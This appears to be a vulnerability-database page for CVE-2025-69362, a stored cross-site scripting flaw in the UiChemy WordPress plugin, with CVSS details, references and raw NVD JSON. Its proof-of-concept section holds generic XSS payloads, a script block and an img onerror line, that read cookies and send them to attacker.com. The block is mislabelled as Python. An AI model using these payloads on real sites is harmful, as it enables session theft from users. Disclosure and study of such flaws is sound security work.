CVE-2025-69362

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH UiChemy uichemy allows Stored XSS.This issue affects UiChemy: from n/a through <= 4.4.2.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

UiChemy WordPress插件 <= 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-69362 PoC - Stored XSS in UiChemy Plugin -->
<script>
  // 窃取用户Cookie
  var stolenCookie = document.cookie;
  
  // 发送到攻击者服务器
  fetch('https://attacker.com/log?cookie=' + encodeURIComponent(stolenCookie), {
    method: 'GET',
    mode: 'no-cors'
  });
  
  // 演示用alert，实际攻击中会隐藏
  alert('XSS Payload Executed - CVE-2025-69362');
</script>

<!-- 简化版PoC -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69362
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69362
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69362/
[4] VulDB https://vuldb.com/cve/CVE-2025-69362
[5] https://patchstack.com/database/Wordpress/Plugin/uichemy/vulnerability/wordpress-uichemy-plugin-4-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-69362", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:48.790", "lastModified": "2026-04-27T21:16:25.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH UiChemy uichemy allows Stored XSS.This issue affects UiChemy: from n/a through <= 4.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uichemy/vulnerability/wordpress-uichemy-plugin-4-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}